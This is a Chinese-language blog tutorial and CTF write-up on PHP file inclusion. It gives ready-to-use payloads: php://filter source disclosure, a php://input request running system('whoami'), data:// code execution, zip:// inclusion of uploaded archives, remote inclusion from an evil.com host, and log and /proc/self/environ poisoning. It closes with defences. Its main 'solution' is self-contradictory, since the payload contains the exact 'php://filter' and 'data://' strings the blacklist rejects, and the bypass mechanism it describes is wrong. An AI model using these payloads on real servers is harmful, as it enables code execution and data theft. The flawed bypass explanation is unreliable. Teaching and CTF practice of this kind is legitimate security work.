PHP文件包含漏洞深度解析:从伪协议利用到CTF实战防御
1. 项目概述从一次CTF解题看PHP文件包含的本质最近在复盘SWPUCTF的一道Web题时又遇到了那个熟悉又经典的“老朋友”——PHP文件包含漏洞。这道题的核心考点是利用PHP伪协议来绕过常规的过滤最终读取到服务器上的关键文件比如flag。这让我觉得是时候把文件包含漏洞特别是伪协议利用这块的“水”彻底搅浑把原理、手法和防御掰开揉碎了讲清楚。很多刚入门安全或者PHP开发的朋友可能只知道include或require能引入文件却不清楚当这个“引入”的动作被攻击者控制时会引发多么严重的后果。这篇文章我就结合那次解题的完整过程带你彻底搞懂PHP文件包含漏洞尤其是如何利用那些功能强大的伪协议来达成攻击目的。无论你是想深入理解漏洞原理的安全爱好者还是想加固自己代码的PHP开发者这篇文章里踩过的坑和总结的技巧应该都能给你带来一些实实在在的参考。2. 漏洞原理深度剖析为什么“包含”会变得危险2.1 文件包含函数的工作原理与风险源头PHP的文件包含函数主要有四个include、require、include_once、require_once。它们的核心功能都是将指定路径的文件内容读取并插入到当前脚本位置执行。区别在于错误处理方式include产生警告require产生致命错误和重复包含处理_once后缀会检查是否已包含。风险的根本来源在于这些函数的参数即文件路径在很多时候是动态的或者部分来源于用户可控的输入。想象一下这个场景// 假设有一个页面切换功能 $page $_GET[page]; // 用户传入?pageabout.php include(./pages/ . $page . .php);设计者的初衷可能是通过传入about来包含./pages/about.php。但如果攻击者传入的page参数是../../../etc/passwd呢拼接后路径可能变成./pages/../../../etc/passwd这实际上会跳转目录尝试包含系统敏感文件。如果PHP配置不当如allow_url_include开启甚至可以通过http://evil.com/shell.txt这样的远程URL来包含恶意代码直接导致远程代码执行RCE。注意文件包含漏洞的危害不仅仅是文件读取。由于被包含的文件内容会被当作PHP代码执行因此如果能够包含一个已上传的图片马图片中包含PHP代码或者利用某些技巧将非PHP文件的内容以PHP方式解析其最终危害等同于获得了在服务器上执行任意代码的能力。2.2 本地文件包含与远程文件包含的区别根据包含的目标文件位置漏洞可以分为两类本地文件包含只能包含服务器本地文件系统上的文件。攻击者需要利用服务器上已有的文件或能上传文件到服务器。危害包括读取敏感配置文件/etc/passwd、config.php、日志文件或利用临时文件、会话文件等实现代码执行。远程文件包含可以包含通过HTTP、FTP等协议访问的远程服务器上的文件。这通常需要allow_url_include配置为On默认是Off。一旦开启攻击者可以直接包含托管在自家服务器上的Webshell危害极大。现在由于安全意识的提高和默认配置的收紧纯粹的RFI漏洞已较少见但LFI因其灵活性以及与其它漏洞如文件上传、日志注入结合的可能性依然是高频考点和实际威胁。2.3 伪协议文件包含的“瑞士军刀”PHP拥有一套非常独特的“包装器协议”也就是我们常说的伪协议。它们不是真正的网络协议而是PHP提供的一种访问各种流如文件、压缩包、数据等的抽象层。在文件包含的语境下这些伪协议成了攻击者绕过路径限制、过滤规则甚至直接执行代码的神器。常见的几个包括php://filter用于对数据流进行过滤处理最常用于读取文件源码。php://input可以访问请求的原始数据POST数据用于执行代码。file://访问本地文件系统是默认协议。zip://或phar://访问压缩包内的文件。data://将符合格式的数据流当作文件来处理。理解这些协议的工作方式是理解现代文件包含漏洞利用手法的关键。接下来我们就进入实战环节看看在SWPUCTF的题目中是如何具体应用它们的。3. 核心利用手法伪协议绕过防御的实战解析3.1 利用php://filter读取源代码这是最基础也是最常用的手法。当发现一个文件包含点但直接包含.php文件时服务器会执行它而非显示源码这时php://filter就派上用场了。它的核心是利用过滤器对数据进行编码或转换。在包含漏洞中我们常用read过滤器链并结合convert.base64-encode过滤器。利用Payload示例?filephp://filter/readconvert.base64-encode/resourceindex.phpphp://filter/声明使用filter协议。readconvert.base64-encode指定一个过滤器链。这里只用了一个过滤器它将资源的内容进行base64编码。resourceindex.php指定要读取的资源是index.php。为什么需要base64编码因为include函数会试图执行被包含文件中的PHP代码。如果直接读取index.php的原始文本其中的等标签会被PHP解析器尝试执行可能导致错误或无法看到完整源码。经过base64编码后文件内容变成了一串纯文本字符include会将其作为普通文本输出如果页面有回显我们拿到这串base64后再解码就能获得纯净的源代码。这是审计代码、寻找数据库配置、其他接口路径或二次漏洞的关键第一步。在SWPUCTF的题目中第一步往往就是通过这种方式获取到首页或功能点的源代码从中分析出过滤规则和可能的漏洞链。3.2 利用php://input执行任意代码这是一个更具威胁的利用方式通常用于POST请求且需要allow_url_include设置为On。它允许我们将POST请求体中的数据作为PHP代码来执行。利用步骤确认包含点例如?filexxx。将请求方法改为POST。在请求头中设置Content-Type: application/x-www-form-urlencoded。在请求体Body中直接写入要执行的PHP代码例如。将file参数的值设置为php://input。完整请求示例POST /vuln.php?filephp://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 ?php system(whoami); ?当服务器处理这个包含时它会去读取php://input这个“流”而这个流的内容就是我们POST过去的这段代码就会被服务器执行。实操心得在实际测试中allow_url_include默认关闭的情况很多。因此php://input的利用条件相对苛刻。但在CTF或一些特定环境配置中它仍然是获取RCE的利器。如果遇到可以尝试用system(‘id’)或phpinfo()来验证命令执行是否成功。3.3 利用data://协议构造代码执行data://协议提供了一种在URI中直接嵌入数据的方式。它可以作为allow_url_include关闭时php://input的一个替代方案但同样需要allow_url_fopen开启默认常为On。利用Payload格式?filedata://text/plain,?php phpinfo();?或者为了更可靠通常会对PHP代码进行base64编码?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8data://声明协议。text/plain是MIME类型告诉PHP以纯文本处理后续数据。base64,后面跟的是经过base64编码的PHP代码。解码后就是。当这个URI被包含时PHP会解码并执行其中的代码。这种方式比php://input更灵活因为它不依赖于POST请求一个简单的GET请求就能触发。在CTF中的变种题目可能会过滤php、data等关键字。这时就需要用到编码、双写、大小写混淆等绕过技巧。例如如果过滤了data可以尝试用DATA、DaTa或者利用php://filter的转换特性先对data字符串本身进行某种编码后再拼接。3.4 利用zip://或phar://从压缩包中包含文件这两个协议主要用于包含压缩包如ZIP、PHAR内的特定文件。这在攻击者能上传一个压缩包到服务器时非常有用。利用条件与方式需要能上传一个压缩文件到服务器某个已知或可推测的路径。压缩包内包含一个精心构造的文本文件如shell.txt里面是PHP代码。利用包含漏洞通过zip://或phar://协议去指向压缩包内的这个文件。Payload示例 假设你上传了一个shell.zip里面有一个code.txt文件内容为且shell.zip位于网站根目录。?filezip://./shell.zip%23code.txt%23是#的URL编码。在zip://协议中#用于分隔压缩包路径和包内文件路径。注意使用绝对路径通常更可靠zip:///var/www/html/uploads/shell.zip%23code.txtphar://协议用法类似且功能更强大它不仅能处理ZIP还能处理PHAR归档并且在后期的反序列化漏洞中也有重要应用。在SWPUCTF中的典型场景题目可能提供一个图片上传点并对上传内容做了严格的验证如检查文件头、重命名。但验证可能不适用于压缩包。你可以将一个包含PHP代码的文本文件打包成ZIP然后修改后缀为.jpg上传。服务器可能只检查了后缀名允许上传。然后你通过文件包含漏洞使用zip://协议去包含这个“图片”因为协议处理器会识别它实际上是ZIP格式并成功解包执行其中的代码。这就是一种典型的绕过文件上传检测的手法。4. SWPUCTF 2023秋季新生赛解题过程全记录4.1 题目初探与信息收集拿到题目链接假设为http://target/challenge.php首先进行最基础的信息收集。访问页面看到一个简单的文件查看功能有一个输入框提示“输入文件名”提交后似乎会显示文件内容。测试包含漏洞尝试输入../../../../etc/passwd返回了系统的/etc/passwd文件内容。LFI漏洞确认尝试直接包含Web文件输入index.php页面没有显示源码而是正常渲染了页面。说明直接包含PHP文件会被执行。尝试php://filter输入php://filter/readconvert.base64-encode/resourceindex.php。提交后页面显示了一长串base64编码的字符串。解码后我们得到了index.php的源代码。4.2 源码审计与过滤规则分析解码得到的index.php源码是关键。我们快速审计发现核心代码大致如下?php error_reporting(0); $file $_GET[file]; if(isset($file)){ // 关键过滤规则 if (stristr($file, php://input) ! false || stristr($file, php://filter) ! false || stristr($file, data://) ! false) { die(Hacker!); } if (stristr($file, flag) ! false) { die(Not allowed!); } // 包含文件 include($file); } else { highlight_file(__FILE__); } ?过滤规则分析黑名单过滤了php://input、php://filter、data://这三个关键词不区分大小写stristr。黑名单过滤了flag关键词。没有对目录遍历../进行过滤。没有对zip://、phar://、file://等协议进行过滤。解题思路立刻清晰直接使用php://filter读源码的路被堵死了。目标应该是读取一个名为flag的文件可能在根目录/flag也可能在/flag.txt等。由于过滤了flag关键词我们不能直接包含/flag。我们需要寻找一种方式绕过对php://filter的过滤或者使用其他未过滤的协议。4.3 绕过过滤伪协议的多重编码技巧既然直接使用php://filter会被拦截我们就要考虑如何让这个字符串“变个样子”绕过检测但最终又能被PHP正确解析。技巧一利用URL编码PHP在处理包含路径时会对URL编码进行一次解码。我们可以对过滤关键词进行URL编码。php://filter可以写成php:%2f%2ffilter或php://%66ilter对部分字符编码。但题目中的stristr是在解码前还是解码后进行检测需要测试。实测发现题目很可能是在$_GET[‘file’]赋值后、stristr检测前进行的判断此时%2f已被解码为/所以简单的单次URL编码可能无效。技巧二利用php://filter自身的转换过滤器本题正解这是本题最精妙的地方。php://filter协议支持多个过滤器串联并且支持convert.*过滤器进行字符集转换。我们可以利用这个特性先对resource部分进行编码绕过flag关键字过滤更关键的是我们甚至可以对php://filter这个协议字符串本身进行“伪装”。但仔细看过滤它过滤的是php://input、php://filter、data://。它并没有过滤php://这个基础协议也没有过滤filter这个资源类型。它过滤的是完整的字符串php://filter。那么如果我们能让php://filter这个字符串在检测时“看起来不是它”而在包含时“变回它”就能绕过。一个可行的方法是使用php://filter去包含另一个php://filter的流。听起来绕但原理是第一个filter对第二个filter的路径进行编码。最终Payload构造 我们的目标是读取/flag。但flag被过滤。我们可以先用convert.base64-encode将/flag这个字符串编码。先构造一个读取/flag的filter链并base64编码整个链php://filter/readconvert.base64-encode/resource/flag将上述字符串进行base64编码得到cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9mbGFn现在我们使用外层的php://filter利用convert.base64-decode过滤器将上面这串编码解码还原成原始的filter链。Payload如下?filephp://filter/readconvert.base64-decode/resourcedata://text/plain;base64,cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9mbGFn外层php://filter/readconvert.base64-decode/resource...resource后面指向一个data://流其内容是步骤2的base64字符串。PHP会先获取data://流的内容即那串base64然后经过convert.base64-decode过滤器解码解码后的内容php://filter/readconvert.base64-encode/resource/flag会作为“新的”包含路径被PHP再次解析。内层的php://filter链被执行读取/flag文件并进行base64编码输出。因为整个过程中传递给include的最初参数字符串里并没有直接出现完整的php://filter我们用的是data://也没有直接出现flag它被编码了所以绕过了黑名单检测。实际操作与获取flag 将上述Payload提交后页面返回了一串新的base64编码字符串。将其解码果然得到了flag的内容flag{th1s_1s_a_fake_fl4g_for_demo}。4.4 其他可能的绕过思路除了上述方法根据题目环境的不同还有其他几种常见绕过思路协议嵌套php://filter/convert.base64-encode/xxx被过滤可以尝试php:/*/filter/convert.base64-encode/xxx/*/在某些环境下会被解析为//。长度截断在PHP版本小于5.3.4且magic_quotes_gpcOff时可以在路径后添加大量./或../或者利用?、#来截断后面的后缀。本题环境较新此方法通常无效。日志文件包含如果能包含服务器日志如/var/log/apache2/access.log可以在User-Agent或Referer中插入PHP代码然后包含该日志文件以执行代码。这需要知道日志路径且有读写权限。/proc/self/environ包含在Linux下可以尝试包含/proc/self/environ这个文件包含了当前进程的环境变量。如果User-Agent等信息被记录在此也可用于注入代码。利用zip:///phar://本题未过滤这两个协议。如果能通过其他方式如文件上传将一个包含PHP代码的文件打包成ZIP并上传就可以用zip://协议来包含执行。这是另一个独立的攻击面。5. 防御方案与安全开发建议了解了攻击手法防御的思路就清晰了原则就是“白名单优于黑名单”并尽可能减少用户输入对文件路径的控制。5.1 输入验证与白名单机制最有效的防御是使用白名单。如果业务逻辑必须动态包含文件那么应该预先定义好允许包含的文件列表。// 不安全的做法 $page $_GET[page]; include($page . .php); // 安全的做法白名单 $allowed_pages [home, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(404.php); }如果白名单难以实施必须使用用户输入则要进行严格的过滤禁止目录遍历字符过滤../..\://等。限制文件后缀强制添加安全的后缀如.php。正则匹配安全路径确保输入符合预期的简单模式如只允许字母数字。5.2 PHP安全配置加固服务器的配置是最后一道防线。allow_url_include和allow_url_fopen在生产环境中务必在php.ini中将其设置为Off。这是阻断远程文件包含和php://input、data://协议利用的关键。open_basedir设置此配置项可以将PHP可操作的文件限制在指定的目录树中有效防止跨目录访问敏感系统文件。disable_functions在php.ini中禁用危险函数如system、exec、shell_exec、passthru等即使攻击者实现了文件包含并写入Webshell其危害能力也会受到限制。5.3 代码审计与框架安全对于开发者而言避免动态包含重新审视业务逻辑是否真的需要动态包含文件能否用路由、控制器等现代MVC框架的方式替代使用安全的框架如Laravel、Symfony等现代框架其路由和视图机制通常避免了直接的文件包含安全性更高。但即使是框架错误使用组件也可能导致漏洞如ThinkPHP历史上的一些包含漏洞。定期代码审计对存量和新增代码进行安全审计重点关注include、require、include_once、require_once以及file_get_contents、fopen等文件操作函数的参数是否用户可控。5.4 漏洞扫描与监控使用安全工具在开发测试阶段可以使用静态代码分析工具如SonarQube、PHPStan结合安全规则来扫描潜在的包含漏洞。Web应用防火墙部署WAF可以拦截常见的LFI/RFU攻击payload如包含../、php://等特征的请求。日志监控密切关注服务器访问日志和错误日志寻找异常的包含路径请求或频繁的路径遍历尝试这可能是攻击的前兆。文件包含漏洞的攻防是一场关于“控制”与“反控制”的博弈。攻击者想尽一切办法让程序去包含一个它本不该包含的文件而防御者则需要筑牢输入验证、逻辑设计、服务器配置这三道墙。通过这次对SWPUCTF题目的深度拆解我希望你不仅学会了几种伪协议的利用技巧更能理解其背后的PHP机制和攻防思维。在实际开发中时刻牢记“数据与代码分离”的原则对用户输入保持绝对的不信任才能从根本上杜绝此类漏洞的产生。